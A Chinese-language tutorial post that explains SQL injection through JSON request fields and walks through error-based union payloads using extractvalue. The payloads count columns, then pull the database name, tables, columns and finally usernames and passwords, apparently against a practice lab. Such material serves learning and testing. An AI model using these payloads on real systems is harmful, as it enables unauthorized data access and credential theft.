json的注入

当应用程序将用户输入的JSON数据直接拼接到SQL查询中,而没有充分验证和过滤时,就会产生JSON注入漏洞。

常见场景:

  • RESTful API接口

  • 前后端分离应用

  • 移动应用后端

  • 微服务架构

json注入原理:json注入是指应用程序所解析的json数据来源于不可信赖的数据源,程序对这些不可信赖的数据进行验证,过滤,如果应用程序使用未经验证的输入构造json,则可以更改json数据的语义。

梳理json语句怎么使用:

{"username": "admin' union select..."}

这里先找他的列数吧

{"username": "admin' order by 1 #"}

{"username": "admin' order by 2 #"}依次类推

1.查询数据库

json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select database()),0x7e)))#"}

加入找到的是security数据库

2.查询到数据库后然后查询数据库的表

json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)))#"}

假如找到的的是user表

3.查询到数据库的表之后查列数

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e))#"}

4.然后在列数里面寻找有用的信息

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#"}

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))#"}

拆分来看就是这样的一个写法:

{

"username": "admin' union select

1, -- 第一个字段占位

extractvalue(1, -- 第二个字段执行注入

concat(0x7e,

(select database()), -- 要提取的数据

0x7e)

) #"

}

相关推荐
譕痕5 天前
JSONObject与JSONArray封装数据格式区别
java·json
A黄俊辉A5 天前
uniapp webview中实现 app和内嵌的H5双向通信
vue.js·json
伞伞悦读6 天前
【第37期】Python JSON 与配置详解:序列化、反序列化、嵌套结构和配置文件
开发语言·python·json
Mikko76 天前
jackson-databind 升到 2.21.6 就安全了吗?jackson-core 是另一个坐标,它那条 high 全局库至今没收
java·后端·安全·json
天若有情6738 天前
独立开发复盘:我用 Node.js 做了个在线工具箱
前端·json·工具
Asurplus8 天前
【SpringBoot4】3、从SpringBoot4升级Sa-Token1.46.0报错
redis·sa-token·json·jackson·springboot4
代码中介商8 天前
C++ 预约系统实战(三):服务端实现——libevent 事件驱动与业务路由
c++·json·c/s
譕痕9 天前
notepad++安装插件 可视化展示 json串内容
json·intellij-idea
databook9 天前
DuckDB + SQL 高效分析 JSON 数据
数据分析·json·nosql
数据狐(Datafox)10 天前
1688商品列表API接口解析(附 JSON 样例)
java·开发语言·数据库·爬虫·json